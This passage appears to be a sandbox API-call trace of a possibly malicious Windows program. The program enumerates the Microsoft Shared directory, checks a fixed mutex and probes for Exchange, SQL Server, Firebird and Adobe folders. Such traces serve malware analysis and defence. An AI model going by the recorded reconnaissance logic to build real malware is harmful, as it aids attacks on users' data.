ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0041.246] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0041.246] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0041.246] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0041.246] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0041.246] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0041.246] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0041.246] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0041.246] GetLastError () returned 0x12 [0041.246] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0041.246] GlobalLock (hMem=0x44000c) returned 0x54f168 [0041.246] GlobalHandle (pMem=0x54f168) returned 0x44000c [0041.246] GlobalUnlock (hMem=0x44000c) returned 0 [0041.246] GlobalLock (hMem=0x44000c) returned 0x54f168 [0041.246] GlobalLock (hMem=0x440004) returned 0x551178 [0041.246] GlobalHandle (pMem=0x54f168) returned 0x44000c [0041.246] GlobalUnlock (hMem=0x44000c) returned 0 [0041.246] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.246] GlobalUnlock (hMem=0x440004) returned 0 [0041.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61cd8, cbMultiByte=3, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0041.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0041.246] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0041.246] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.246] GlobalLock (hMem=0x440004) returned 0x54f168 [0041.246] GlobalHandle (pMem=0x54f168) returned 0x440004 [0041.246] GlobalUnlock (hMem=0x440004) returned 0 [0041.246] GlobalLock (hMem=0x440004) returned 0x54f168 [0041.246] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.247] GlobalHandle (pMem=0x54f168) returned 0x440004 [0041.247] GlobalUnlock (hMem=0x440004) returned 0 [0041.247] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.247] GlobalUnlock (hMem=0x44000c) returned 0 [0041.247] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.247] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.247] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0041.247] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.247] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.247] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.247] GlobalUnlock (hMem=0x44000c) returned 0 [0041.247] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.247] GlobalLock (hMem=0x440004) returned 0x552180 [0041.247] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.247] GlobalUnlock (hMem=0x44000c) returned 0 [0041.247] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.247] GlobalUnlock (hMem=0x440004) returned 0 [0041.247] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.247] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0041.247] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0041.247] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.247] GlobalLock (hMem=0x440004) returned 0x550170 [0041.247] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.247] GlobalUnlock (hMem=0x440004) returned 0 [0041.247] GlobalLock (hMem=0x440004) returned 0x550170 [0041.247] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.247] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.247] GlobalUnlock (hMem=0x440004) returned 0 [0041.247] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.247] GlobalUnlock (hMem=0x44000c) returned 0 [0041.248] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.248] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.248] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.248] GlobalUnlock (hMem=0x44000c) returned 0 [0041.248] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.248] GlobalLock (hMem=0x440004) returned 0x552180 [0041.248] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.248] GlobalUnlock (hMem=0x44000c) returned 0 [0041.248] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.248] GlobalUnlock (hMem=0x440004) returned 0 [0041.248] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.248] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW", len=0x31 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned 1 [0041.248] GlobalLock (hMem=0x440004) returned 0x550170 [0041.248] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.248] GlobalUnlock (hMem=0x440004) returned 0 [0041.248] GlobalLock (hMem=0x440004) returned 0x550170 [0041.248] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.248] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.248] GlobalUnlock (hMem=0x440004) returned 0 [0041.248] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.248] GlobalUnlock (hMem=0x44000c) returned 0 [0041.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ Compact Edition\\") returned 26 [0041.248] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꐄRꏘR企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0041.287] GetLastError () returned 0x3 [0041.287] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.287] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.287] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ Compact Edition\\") returned 21 [0041.287] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꍴR企@\x18㿬Q\x181")) returned 0xffffffff [0041.288] GetLastError () returned 0x2 [0041.288] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.288] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0041.288] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ Compact Edition\\") returned 9 [0041.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꐬR企@\x18?T\x18;")) returned 0xffffffff [0041.288] GetLastError () returned 0x2 [0041.288] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.288] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0041.288] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ Compact Edition\\") returned 8 [0041.289] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0041.289] GetLastError () returned 0x2 [0041.289] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.289] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0041.289] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\ition\\") returned 37 [0041.289] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꍴR企@\x18ꐬR\x18j")) returned 0xffffffff [0041.289] GetLastError () returned 0x2 [0041.289] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.289] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\ition\\") returned 37 [0041.290] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\ition\\") returned 6 [0041.290] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18?T\x18q")) returned 0xffffffff [0041.290] GetLastError () returned 0x2 [0041.290] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft 